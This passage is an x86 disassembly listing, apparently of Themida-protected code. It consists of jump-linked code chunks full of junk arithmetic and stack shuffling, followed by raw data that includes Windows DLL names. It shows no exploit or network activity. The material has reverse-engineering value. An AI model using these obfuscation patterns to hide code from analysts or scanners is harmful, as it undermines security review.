add esp, 4
pop eax
mov [edi+eax*4], cl
push [esp+0Ah+var_C+2]
push dword ptr [esp+0]
jmp loc_56475A
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_5722B7 proc near ; CODE XREF: sub_562ABA+82Aj
; FUNCTION CHUNK AT 0055E948 SIZE 0000000A BYTES
push ebp
mov ebp, 6CEF2ABFh
inc ebp
neg ebp
xor ebp, 9310D544h
jmp loc_55E948
sub_5722B7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5722CB: ; CODE XREF: sub_562ABA+8645j
mov ebp, esp
add ebp, 4
push edi
mov edi, 4
jmp loc_55FEB9
; ---------------------------------------------------------------------------
loc_5722DE: ; CODE XREF: sub_562ABA+384Dj
sub [esp+8], ebp
jmp loc_55F942
; ---------------------------------------------------------------------------
loc_5722E7: ; CODE XREF: sub_562ABA+D04Dj
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_56EDF7
; ---------------------------------------------------------------------------
loc_5722F8: ; CODE XREF: sub_562ABA+527Aj
add al, 91h
push [esp+1Ah+var_1A]
mov edx, [esp+1Eh+var_1E]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+22h+var_22]
jmp loc_564643
; ---------------------------------------------------------------------------
loc_572314: ; CODE XREF: sub_562ABA+ACF6j
mov [esp-4+arg_0], edx
mov edx, 1FC0400h
jmp loc_55F26D
; ---------------------------------------------------------------------------
loc_572321: ; CODE XREF: sub_562ABA+A8B6j
push ecx
mov ecx, 4
sub edi, 82D4183h
jmp loc_56FF68
; ---------------------------------------------------------------------------
loc_572332: ; CODE XREF: sub_562ABA+1D69j
add dword ptr [esp+0], 4
push dword ptr [esp+0]
mov edx, [esp+32h+var_32]
add esp, 4
add esp, 4
add edx, 4
sub edx, 4
xchg edx, [esp+2Ah+var_2C+2]
mov esp, [esp+2Ah+var_2C+2]
mov [esp+2Ah+var_2C+2], edi
push 4D4Eh
mov [esp+0], esp
push eax
push ebx
mov ebx, 1AA81272h
add ebx, 181935DAh
inc ebx
sub ebx, 32C14849h
mov eax, ebx
pop ebx
add [esp+4], eax
push [esp+32h+var_32]
pop eax
push 2B61h
mov [esp+36h+var_36], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
pop edi
add edi, 4
jmp loc_56BF7B
; ---------------------------------------------------------------------------
loc_5723A9: ; CODE XREF: sub_562ABA-3A37j
add esp, 4
dec ecx
push 47EBh
mov [esp+32h+var_32], eax
mov eax, 272C717Eh
push eax
xchg edx, [esp+36h+var_36]
not edx
xchg edx, [esp+36h+var_36]
pop eax
dec eax
add eax, 1EEE2486h
push edi
jmp loc_56A848
; ---------------------------------------------------------------------------
loc_5723D0: ; CODE XREF: sub_562ABA+6069j
mov [esp+0], ebp
mov ebp, 780C17CAh
push ecx
jmp loc_560E9D
; ---------------------------------------------------------------------------
loc_5723DE: ; CODE XREF: sub_562ABA+40BDj
mov [esp+3Eh+var_3E], ebx
jmp loc_5707A5
; ---------------------------------------------------------------------------
loc_5723E6: ; CODE XREF: sub_562ABA+6D14j
push [esp+0Eh+var_C+2]
mov edx, [esp+12h+var_12]
add esp, 4
pop dword ptr [esp+0]
mov esp, [esp+0Ah+var_C+2]
jmp loc_5623A9
; ---------------------------------------------------------------------------
loc_5723FE: ; CODE XREF: sub_562ABA+8417j
mov esi, 6A50034Eh
jmp loc_564C1B
; ---------------------------------------------------------------------------
loc_572408: ; CODE XREF: sub_562ABA+779Aj
mov esp, [esp+20h+var_22+2]
push [esp+20h+var_22+2]
push dword ptr [esp+0]
push [esp+28h+var_28]
mov eax, [esp+2Ch+var_2C]
add esp, 4
push edi
push esp
pop edi
push esi
mov esi, 4
add edi, esi
jmp loc_5686D2
; ---------------------------------------------------------------------------
loc_57242A: ; CODE XREF: sub_562ABA-3A8Bj
pop [esp+6+var_8+2]
jmp loc_562A87
; ---------------------------------------------------------------------------
loc_572432: ; CODE XREF: sub_562ABA+47CAj
pop bx
jmp loc_568969
; ---------------------------------------------------------------------------
loc_572439: ; CODE XREF: sub_562ABA+15E0j
mov eax, ebp
pop ebp
sub esp, 4
mov [esp+0], ebp
jmp loc_56C497
; ---------------------------------------------------------------------------
loc_57244A: ; CODE XREF: sub_562ABA+3DD8j
mov eax, 56D35B5Ch
add eax, 1
shl eax, 6
jmp loc_56CE73
; ---------------------------------------------------------------------------
loc_57245A: ; CODE XREF: sub_562ABA+8A66j
mov ecx, edx
pop edx
shr ecx, 2
push esi
mov esi, 465E2CDCh
or ecx, esi
pop esi
push ebp
mov ebp, 66EE43D2h
sub ecx, ebp
pop ebp
sub ecx, 394EA8AEh
add ebp, ecx
pop ecx
jmp loc_567D59
; ---------------------------------------------------------------------------
loc_572480: ; CODE XREF: sub_562ABA+973Cj
mov esp, [esp+2+var_4+2]
sar byte ptr [esp+2+var_4+2], cl
pushf
jmp loc_56E31C
; ---------------------------------------------------------------------------
loc_57248C: ; CODE XREF: sub_562ABA-224Aj
sub ch, 4Ch
sub dl, ch
jmp loc_563785
; ---------------------------------------------------------------------------
loc_572496: ; CODE XREF: sub_562ABA+203j
mov [esp+0Ch+var_C], eax
push edx
mov edx, 0BA6014Eh
sub edx, 6F474D99h
push edi
mov edi, 10206C3Bh
sub edi, 0D4F1244h
and edi, 25262514h
jmp loc_564DF7
; ---------------------------------------------------------------------------
loc_5724BC: ; CODE XREF: sub_562ABA+F318j
push 0E65h
mov [esp+36h+var_36], eax
push [esp+36h+var_32]
pop eax
pop [esp+36h+var_36]
pop esp
mov [esp+0], esi
mov esi, 5DC480BEh
push edx
mov edx, esi
jmp loc_5689D0
; ---------------------------------------------------------------------------
loc_5724DD: ; CODE XREF: sub_562ABA-E74j
mov ebp, [esp+32h+var_32]
jmp loc_560836
; ---------------------------------------------------------------------------
loc_5724E5: ; CODE XREF: sub_562ABA+C19Ej
push 4201h
mov [esp+16h+var_16], ebx
push ebp
jmp loc_56C86A
; ---------------------------------------------------------------------------
loc_5724F3: ; CODE XREF: sub_562ABA-3924j
mov edi, 7BF51B9Dh
push 785Ch
mov [esp+4Ah+var_4A], esi
mov esi, 1D494F38h
or edi, esi
pop esi
jmp loc_5605F7
; ---------------------------------------------------------------------------
loc_57250D: ; CODE XREF: sub_562ABA-1B97j
mov esp, [esp+48h+var_4A+2]
push [esp+48h+var_4A+2]
mov eax, [esp+4Ch+var_4E+2]
add esp, 4
jmp loc_5693FD
; ---------------------------------------------------------------------------
loc_572521: ; CODE XREF: sub_562ABA+D56Cj
mov esp, [esp+16h+var_16]
jmp loc_568332
; ---------------------------------------------------------------------------
loc_572529: ; CODE XREF: sub_562ABA-4487j
shr eax, 3
add eax, 2E0F1492h
and eax, 514B7532h
and eax, 17BD5632h
not eax
sub eax, 0F165D8CCh
sub ebp, eax
pop eax
add edi, ebp
pop ebp
xchg edi, [esp+42h+var_42]
mov esp, [esp+42h+var_42]
push 0DB3h
jmp loc_5697A9
; ---------------------------------------------------------------------------
loc_572558: ; CODE XREF: sub_562ABA+4BF2j
push ecx
mov ecx, esp
jmp loc_56605A
; ---------------------------------------------------------------------------
loc_572560: ; CODE XREF: sub_562ABA+B267j
mov ebx, [esp+4Ch+var_4E+2]
jmp loc_570DA7
; ---------------------------------------------------------------------------
loc_572568: ; CODE XREF: sub_562ABA+1005Bj
xor [esp+4Ch+var_4E+2], eax
xor eax, [esp+4Ch+var_4E+2]
pop esp
sub esp, 4
jmp loc_5619F8
; ---------------------------------------------------------------------------
loc_572577: ; CODE XREF: sub_562ABA+1FC7j
dec ebp
jmp loc_55F852
; ---------------------------------------------------------------------------
loc_57257D: ; CODE XREF: sub_562ABA+A0F7j
pop ebx
push ebx
jmp loc_5648A5
; ---------------------------------------------------------------------------
loc_572584: ; CODE XREF: sub_562ABA+908Bj
add edi, ecx
add edi, 5A44612Eh
jmp loc_56D171
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_572591 proc near ; CODE XREF: sub_562ABA+98FFj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edx
push 4
mov edx, [esp+8+var_8]
add esp, 4
add edi, edx
push [esp+4+var_4]
pop edx
add esp, 4
push ecx
mov ecx, 69C757A9h
shl ecx, 1
or ecx, 102D151Bh
add ecx, 2C5040A9h
sub edi, 2F7544C2h
jmp loc_56A262
sub_572591 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5725CD: ; CODE XREF: sub_562ABA+42E4j
sub ebp, 329E665Eh
jmp loc_56D355
; ---------------------------------------------------------------------------
loc_5725D8: ; CODE XREF: sub_562ABA+F0F3j
add esp, 4
add ecx, edx
pop edx
pop esi
xchg ecx, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
add word ptr [esp+1Eh+var_1E], ax
pushf
jmp loc_5708BC
; ---------------------------------------------------------------------------
loc_5725F2: ; CODE XREF: sub_562ABA+97B5j
xor ecx, 2B7C2BCAh
sub ecx, 1F0D37CEh
neg ecx
dec ecx
not ecx
add ecx, 0F6712B5h
add edx, 1D7D2397h
sub edx, ecx
push esi
mov esi, 1D7D2397h
jmp loc_568E2F
; ---------------------------------------------------------------------------
loc_57261C: ; CODE XREF: sub_562ABA+CD0Cj
push 0A7Ch
jmp loc_56C29F
; ---------------------------------------------------------------------------
loc_572626: ; CODE XREF: sub_562ABA+6680j
push edx
mov dh, ch
jmp loc_566971
; ---------------------------------------------------------------------------
loc_57262E: ; CODE XREF: sub_562ABA+81D5j
push dword ptr [esp+0]
jmp loc_563B34
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_572636: ; CODE XREF: Themida_:00561E39j
pop esp
jmp loc_56CA11
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_57263C: ; CODE XREF: sub_562ABA-420Fj
push edi
not [esp+6+var_8+2]
pop edi
sub edi, 6B5C7799h
shl edi, 7
add edi, 94EA6493h
sub edx, edi
pop edi
add edx, 3A0F693Fh
add edx, ebp
sub edx, 3A0F693Fh
add edx, 6DF94413h
pop ebp
jmp loc_5647E0
; ---------------------------------------------------------------------------
loc_57266D: ; CODE XREF: sub_562ABA-24C8j
xchg ebx, edi
xor edi, 0AA7CD317h
push edi
pop edx
jmp loc_56C0A2
; ---------------------------------------------------------------------------
loc_57267C: ; CODE XREF: sub_562ABA-357Cj
add ecx, ebx
mov ebx, [esp+26h+var_28+2]
jmp loc_56142F
; ---------------------------------------------------------------------------
loc_572686: ; CODE XREF: sub_562ABA+C057j
pop edx
sub [esp+2Ah+var_28+2], 77D30671h
sub [esp+2Ah+var_28+2], 426A281Dh
add [esp+2Ah+var_28+2], ebp
jmp loc_572737
; ---------------------------------------------------------------------------
loc_5726A0: ; CODE XREF: sub_562ABA-16E5j
inc eax
dec eax
sub eax, 0CAAAF696h
sub ecx, eax
pop eax
pop eax
sub esi, ecx
pop ecx
mov ecx, esi
push [esp-1Ch+arg_18]
pop esi
add esp, 4
jmp loc_5600F4
; ---------------------------------------------------------------------------
loc_5726BC: ; CODE XREF: sub_562ABA+6055j
pop ecx
add esp, 4
or edx, eax
shl edx, 1
jmp sub_572A4F
; ---------------------------------------------------------------------------
loc_5726CC: ; CODE XREF: sub_562ABA+59A3j
add edi, 7FCB2BABh
add edi, edx
jmp loc_56BA21
; ---------------------------------------------------------------------------
loc_5726D9: ; CODE XREF: sub_562ABA+8C4Cj
pop ebx
xchg esi, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
btr word ptr [esp+6+var_8+2], ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5726EB: ; CODE XREF: sub_562ABA+6283j
mov edi, [esp+0Ah+var_C+2]
add esp, 4
add edi, 4
push ecx
mov ecx, 2
add edi, ecx
jmp loc_568487
; ---------------------------------------------------------------------------
loc_572704: ; CODE XREF: sub_562ABA-AAFj
xor edi, eax
pop eax
add eax, 4A981B63h
sub eax, edi
push edi
jmp loc_56DA8C
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_572714 proc near ; CODE XREF: sub_562ABA+360Aj
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, 20010DE9h
push ebp
not [esp+8+var_8]
pop ebp
xor ebp, 0B2A8AED4h
add edx, ebp
mov ebp, [esp+4+var_4]
add esp, 4
neg edx
jmp loc_56BA2C
sub_572714 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_572737: ; CODE XREF: sub_562ABA+FBE1j
add [esp+2Ah+var_28+2], 426A281Dh
add [esp+2Ah+var_28+2], 77D30671h
pop ebp
mov ecx, [esp+26h+var_28+2]
add esp, 4
add ecx, 4
push 5921h
mov [esp+26h+var_28+2], ebp
mov ebp, 4
add ecx, 75D152DDh
add ecx, ebp
sub ecx, 75D152DDh
pop ebp
jmp loc_572998
; ---------------------------------------------------------------------------
loc_572778: ; CODE XREF: sub_562ABA+AE9Cj
sub eax, 34CE4805h
push edi
mov edi, 30D53268h
push ecx
mov ecx, 703917ECh
not ecx
jmp loc_56AB2E
; ---------------------------------------------------------------------------
loc_572790: ; CODE XREF: sub_562ABA-Aj
add al, ch
jmp loc_565ADF
; ---------------------------------------------------------------------------
loc_572797: ; CODE XREF: sub_562ABA+65E5j
push 1
mov ebp, [esp+22h+var_22]
add esp, 4
and eax, ebp
push [esp+1Eh+var_1E]
push [esp+22h+var_22]
push [esp+26h+var_28+2]
jmp loc_56CD92
; ---------------------------------------------------------------------------
loc_5727B5: ; CODE XREF: sub_562ABA+9E40j
xor edx, 47167D28h
jmp loc_5632A0
; ---------------------------------------------------------------------------
loc_5727C0: ; CODE XREF: sub_562ABA+2B36j
add ebx, 4
push edi
jmp loc_56B900
; ---------------------------------------------------------------------------
loc_5727CC: ; CODE XREF: sub_562ABA-48F2j
mov [esp+6+var_8+2], ebx
push [esp+6+var_8+2]
mov eax, [esp+0Ah+var_C+2]
add esp, 4
push 6D6Dh
mov [esp+0Ah+var_C+2], ecx
jmp loc_572207
; ---------------------------------------------------------------------------
loc_5727E5: ; CODE XREF: sub_562ABA+2803j
sub esi, 8235A2Dh
pop eax
mov eax, esi
pop esi
xchg eax, edi
not edi
xchg eax, edi
sub esp, 4
jmp loc_56922C
; ---------------------------------------------------------------------------
loc_5727FB: ; CODE XREF: sub_562ABA-B3Fj
add ecx, 4
jmp loc_56DE2B
; ---------------------------------------------------------------------------
loc_572806: ; CODE XREF: sub_562ABA+3262j
mov [esp+12h+var_12], edi
jmp loc_5729EC
; ---------------------------------------------------------------------------
loc_57280E: ; CODE XREF: sub_562ABA+9D41j
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp loc_56E8EB
; ---------------------------------------------------------------------------
loc_572822: ; CODE XREF: sub_562ABA+2898j
push ecx
jmp loc_5675AA
; ---------------------------------------------------------------------------
loc_572828: ; CODE XREF: sub_562ABA+A66Fj
mov [esp+1Eh+var_1E], edx
pop ecx
pop edx
push esi
push ecx
add [esp+1Eh+var_1E], 43934574h
push [esp+1Eh+var_1E]
jmp loc_55E68A
; ---------------------------------------------------------------------------
loc_57283E: ; CODE XREF: sub_562ABA+1F80j
and ecx, 13BD61D1h
jmp loc_56E08E
; ---------------------------------------------------------------------------
loc_572849: ; CODE XREF: sub_562ABA-146Bj
sub esi, 0BEE904FDh
sub ebx, esi
jmp loc_56990B
; ---------------------------------------------------------------------------
loc_572856: ; CODE XREF: sub_562ABA+6D3Aj
shl edx, 1
push edx
not [esp+4+var_4]
jmp loc_570A3A
; ---------------------------------------------------------------------------
loc_572861: ; CODE XREF: sub_562ABA+9A58j
push ecx
mov ch, 5Ch
mov al, 45h
sub al, ch
pop ecx
shl al, 4
sub al, 37h
xor cl, al
pop eax
push edx
mov dh, 44h
add dh, 0ACh
xor dh, 0F1h
jmp loc_560696
; ---------------------------------------------------------------------------
loc_57287F: ; CODE XREF: sub_562ABA+603Bj
add ebx, 4
push 1B68h
jmp loc_56CD62
; ---------------------------------------------------------------------------
loc_57288F: ; CODE XREF: sub_562ABA+883Dj
mov ah, 6Fh
add bl, ah
pop eax
jmp loc_562E36
; ---------------------------------------------------------------------------
loc_572899: ; CODE XREF: sub_562ABA+C59Bj
push 77E4h
mov [esp+2+var_4+2], edi
push 6253h
mov [esp+6+var_8+2], ebx
mov ebx, esp
jmp loc_56DC03
; ---------------------------------------------------------------------------
loc_5728B0: ; CODE XREF: sub_562ABA+6E4Cj
pop esp
add eax, ecx
push [esp+2+var_4+2]
pop ecx
add esp, 4
xchg eax, [esp+0]
mov esp, [esp+0]
inc byte ptr [esp+0]
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5728CC: ; CODE XREF: sub_562ABA+6FF1j
mov eax, [esp+26h+var_28+2]
add esp, 4
add esp, 4
jmp loc_568D5D
; ---------------------------------------------------------------------------
loc_5728DA: ; CODE XREF: sub_562ABA+2216j
push eax
jmp loc_56A042
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_566E32
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5728E9: ; CODE XREF: sub_562ABA+3886j
pop edi
xchg ebp, [esp+3Ah+var_3A]
jmp loc_56C41D
; ---------------------------------------------------------------------------
loc_5728F2: ; CODE XREF: sub_562ABA+2326j
add esp, 4
mov esi, [esp+36h+var_36]
add esp, 4
add esi, 7FA67874h
pop edx
jmp loc_56DB3D
; ---------------------------------------------------------------------------
loc_57290A: ; CODE XREF: sub_562ABA+8221j
sub edx, 4B536035h
mov ebp, [esp+32h+var_32]
push edx
jmp loc_56F641
; ---------------------------------------------------------------------------
loc_572919: ; CODE XREF: sub_562ABA-4458j
add ebx, 0A531440h
sub eax, 286A000Ah
sub eax, ebx
add eax, 286A000Ah
jmp loc_56196F
; ---------------------------------------------------------------------------
loc_572930: ; CODE XREF: sub_562ABA+8E56j
push small 2118h
jmp loc_571781
; ---------------------------------------------------------------------------
loc_572939: ; CODE XREF: sub_562ABA+4EF2j
push [esp+26h+var_22]
pop esi
pop [esp+26h+var_28+2]
mov esp, [esp+22h+var_22]
mov word ptr [esp+22h+var_22], cx
movzx cx, al
jmp loc_566759
; ---------------------------------------------------------------------------
loc_572951: ; CODE XREF: sub_562ABA+41DAj
push [esp+16h+var_16]
pop eax
jmp loc_560103
; ---------------------------------------------------------------------------
loc_57295A: ; CODE XREF: sub_562ABA+56A6j
add esp, 4
xor esi, [esp+12h+var_12]
xor [esp+12h+var_12], esi
xor esi, [esp+12h+var_12]
jmp loc_56ADE5
; ---------------------------------------------------------------------------
loc_57296B: ; CODE XREF: sub_562ABA+35EFj
mov edi, edx
jmp loc_57155E
; ---------------------------------------------------------------------------
loc_572972: ; CODE XREF: sub_562ABA+4701j
mov [esp+32h+var_32], eax
push dword ptr [esp+4]
mov eax, [esp+36h+var_36]
push edx
jmp loc_55F459
; ---------------------------------------------------------------------------
loc_572982: ; CODE XREF: sub_562ABA+A773j
push eax
mov eax, esp
push ecx
mov ecx, 4
jmp loc_5643F6
; ---------------------------------------------------------------------------
loc_572990: ; CODE XREF: sub_562ABA+7440j
push ecx
mov ch, 0F0h
jmp loc_56CD10
; ---------------------------------------------------------------------------
loc_572998: ; CODE XREF: sub_562ABA+FCB9j
push 877h
mov [esp+26h+var_28+2], ecx
push [esp+26h+var_22]
pop ecx
jmp loc_5712EE
; ---------------------------------------------------------------------------
loc_5729AA: ; CODE XREF: sub_562ABA+84Aj
xchg eax, ebp
inc eax
jmp loc_560216
; ---------------------------------------------------------------------------
loc_5729B1: ; CODE XREF: sub_562ABA+4F23j
add ah, 12h
or ah, 40h
add ah, 3Ch
xor ah, 5Ch
jmp loc_57114E
; ---------------------------------------------------------------------------
loc_5729C2: ; CODE XREF: sub_562ABA-2352j
sub edi, ebx
jmp loc_56EAB5
; ---------------------------------------------------------------------------
loc_5729C9: ; CODE XREF: sub_562ABA+C717j
add esi, 4
xchg esi, [esp+0]
jmp loc_5711EA
; ---------------------------------------------------------------------------
loc_5729D7: ; CODE XREF: sub_562ABA+563Aj
xor ebp, 4676583Ah
jmp loc_562EAD
; ---------------------------------------------------------------------------
loc_5729E2: ; CODE XREF: sub_562ABA-716j
pop [esp+3Ah+var_3A]
push ebp
push edx
jmp loc_56EB0A
; ---------------------------------------------------------------------------
loc_5729EC: ; CODE XREF: sub_562ABA+FD4Fj
mov edi, esi
push esi
mov esi, esp
add esi, 4
push edi
jmp loc_564AF3
; ---------------------------------------------------------------------------
loc_5729FD: ; CODE XREF: sub_562ABA+6BFBj
mov ecx, [esp+3Eh+var_3E]
add esp, 4
xor ebx, [esp+3Ah+var_3A]
xor [esp+3Ah+var_3A], ebx
xor ebx, [esp+3Ah+var_3A]
jmp loc_562FCE
; ---------------------------------------------------------------------------
loc_572A11: ; CODE XREF: sub_562ABA+AC3Ej
push ecx
push eax
push ebx
mov bh, 0A1h
push edx
jmp loc_571E4F
; ---------------------------------------------------------------------------
loc_572A1C: ; CODE XREF: sub_562ABA+1DB6j
push 70495999h
pop ebx
neg ebx
shr ebx, 4
jmp loc_566376
; ---------------------------------------------------------------------------
loc_572A2C: ; CODE XREF: sub_562ABA+AEDj
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0]
pop esp
jmp loc_5631A0
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_572A44: ; CODE XREF: Themida_:005610AEj
xor ebp, 0D656DB90h
jmp loc_56968C
; =============== S U B R O U T I N E =======================================
sub_572A4F proc near ; CODE XREF: sub_562ABA+FC0Dj
sub esp, 4
jmp loc_56F558
sub_572A4F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_572A5A: ; CODE XREF: sub_562ABA+E2E1j
push eax
mov eax, 145B0816h
inc eax
push ebx
jmp loc_56231D
; ---------------------------------------------------------------------------
loc_572A67: ; CODE XREF: sub_562ABA+D2FAj
add esi, ecx
pop ecx
xchg esi, [esp+0]
pop esp
sub esp, 4
mov [esp+0], edi
jmp loc_56ACE6
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
jmp loc_5686E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_572A87: ; CODE XREF: sub_562ABA+776j
pop edi
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
mov ebp, [esp+4+var_4]
add esp, 4
popa
jmp loc_56447D
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56017F
loc_572A9B: ; CODE XREF: sub_56017F+20DBj
pop edi
jmp loc_56A480
; END OF FUNCTION CHUNK FOR sub_56017F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_572AA1: ; CODE XREF: sub_562ABA+129Cj
mov [esp+2Ah+var_2C+2], eax
push esi
jmp loc_560416
; ---------------------------------------------------------------------------
loc_572AAA: ; CODE XREF: sub_562ABA+165Ej
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_572AAF: ; CODE XREF: sub_562ABA-1855j
xchg ebx, [esp+0]
pop esp
mov [esp-4+arg_0], esp
add [esp-4+arg_0], 4
pop eax
add eax, 4
push ebp
push esp
jmp loc_56D978
; ---------------------------------------------------------------------------
loc_572AC7: ; CODE XREF: sub_562ABA+9CD7j
pop esi
add ebx, edi
pop edi
push eax
mov eax, 49CB7932h
and eax, 1D1B2E62h
jmp loc_569505
; ---------------------------------------------------------------------------
loc_572ADB: ; CODE XREF: sub_562ABA+934Cj
mov [esp+32h+var_32], ebp
jmp loc_568F58
; ---------------------------------------------------------------------------
loc_572AE3: ; CODE XREF: sub_562ABA+4AFCj
mov edx, 0FFA20CEBh
add eax, edx
pop edx
xor ecx, eax
pop eax
sub esi, ecx
jmp loc_564A3F
; ---------------------------------------------------------------------------
loc_572AF5: ; CODE XREF: sub_562ABA-CD4j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_572AFA: ; CODE XREF: sub_562ABA+3D31j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_572AFF: ; CODE XREF: sub_562ABA+4536j
xchg ebx, [esp+26h+var_28+2]
mov esp, [esp+26h+var_28+2]
push eax
push esp
pop eax
add eax, 4
add eax, 4
xor eax, [esp+2Ah+var_2C+2]
jmp loc_572568
; ---------------------------------------------------------------------------
loc_572B1A: ; CODE XREF: sub_562ABA+EC84j
pop edx
add ebp, 40E10DE3h
add ebp, edi
sub ebp, 40E10DE3h
pop edi
not ebp
push ecx
mov ecx, 51D3CD1h
jmp loc_56A93F
; ---------------------------------------------------------------------------
loc_572B37: ; CODE XREF: sub_562ABA-4826j
add edx, 6D9839B7h
pop eax
sub edx, 467E41A7h
add edx, edi
jmp loc_55FDB7
; ---------------------------------------------------------------------------
loc_572B4B: ; CODE XREF: sub_562ABA-1DE6j
mov [esp-0Ah+arg_4+2], eax
push esp
pop eax
push ebp
push ebx
push 427C2A5Eh
pop ebx
mov ebp, ebx
pop ebx
sub ebp, 7A720DB4h
push 431Eh
mov [esp+0], ebp
not dword ptr [esp+0]
pop ebp
shl ebp, 6
jmp loc_5715A9
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_572B75: ; DATA XREF: Themida_:0055E000o
mov cx, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push 6E75h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_56FB04
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_572BA2: ; CODE XREF: sub_562ABA+7135j
pop esi
jmp loc_568E56
; ---------------------------------------------------------------------------
loc_572BA8: ; CODE XREF: sub_562ABA-372Dj
add edi, ecx
pop ecx
push eax
mov eax, 4
add edi, eax
pop eax
push edi
jmp loc_56B265
; ---------------------------------------------------------------------------
loc_572BBA: ; CODE XREF: sub_562ABA+62C4j
pop esi
push eax
jmp loc_565311
; ---------------------------------------------------------------------------
loc_572BC1: ; CODE XREF: sub_562ABA+6358j
xor [esp+0], edx
xor edx, [esp+0]
mov esp, [esp+0]
shl word ptr [esp+0], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_572BD4: ; CODE XREF: sub_562ABA-35DAj
mov eax, 419678DBh
dec eax
xor eax, 4060A708h
xor edx, eax
pop eax
sub ecx, 6DFD49D2h
add ecx, 4A312DB2h
add ecx, edx
sub ecx, 4A312DB2h
add ecx, 6DFD49D2h
pop edx
jmp loc_56F5C0
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_572C02 proc near ; CODE XREF: sub_562ABA-3409j
push ebx
mov ebx, 333E7F25h
push eax
mov eax, 47654F76h
add ebx, 5BB917E3h
add ebx, eax
sub ebx, 5BB917E3h
pop eax
and ebx, 53C75673h
inc ebx
neg ebx
sub ebx, 0AD7CB9E8h
sub esi, 62D2565Ch
add esi, ebx
push edi
mov edi, 77D949F7h
jmp loc_56A8B3
sub_572C02 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_572C3F: ; CODE XREF: sub_562ABA-184Dj
sub ebx, 4FF7DFFBh
add eax, ebx
pop ebx
jmp loc_571DCF
; ---------------------------------------------------------------------------
loc_572C4D: ; CODE XREF: sub_562ABA+AFF7j
not edi
xor [esp+4Eh+var_4E], edi
xor edi, [esp+4Eh+var_4E]
jmp loc_570E25
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54DC11
loc_572C5A: ; CODE XREF: sub_54DC11+38D8j
call near ptr loc_572C62+5
scasb
pop eax
xchg eax, edx
loc_572C62: ; CODE XREF: sub_54DC11:loc_572C5Ap
sar byte ptr [ebx-76E5101Ch], cl
; END OF FUNCTION CHUNK FOR sub_54DC11
; ---------------------------------------------------------------------------
dd 0A831D98Dh, 81665A06h, 81D076D6h, 7379C2h, 0B800h, 8B0F0000h
dd 6, 33ED9D8Bh, 34FF06A8h, 0C6816610h, 8959FE53h, 0A82BAD9Dh
dd 0CAE98106h, 8B7FD67Dh, 0A8260DB5h, 36F18106h, 815E8261h
dd 0CE3C27E9h, 5EF5532Bh, 29020C89h, 0A82E1185h, 4E88306h
dd 2E4D8D31h, 0F88106A8h, 0FFFF8CFCh, 0FFB8850Fh, 8589FFFFh
dd 6A815C1h, 4AE9h, 49500300h, 45535557h, 2E323352h, 6C6C64h
dd 41564441h, 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch
dd 0D7006C6Ch, 4000A07h, 0C001200h, 2E001900h, 3E00h, 4 dup(0)
dd 0E9000000h, 817h, 0AA940468h, 0EA98E906h, 7F68FFFDh
dd 0E906AA94h, 0FFFDEA8Eh, 0AA959468h, 0EA84E906h, 0D068FFFDh
dd 0E906AA96h, 0FFFDEA7Ah, 0AA974768h, 0EA70E906h, 5368FFFDh
dd 0E906AA98h, 0FFFDEA66h, 0AA98A668h, 0EA5CE906h, 0FF9AFFFDh
dd 0A2CF70B6h, 5800A3E7h, 42A9511h, 395AC541h, 8A93674h
dd 0E624690Ah, 0CA501D3Dh, 482CB69h, 75B1F89Bh, 0D9D16BF1h
dd 0ABB60269h, 2501C66Dh, 0EE932FA9h, 346DA5C3h, 4AF123E4h
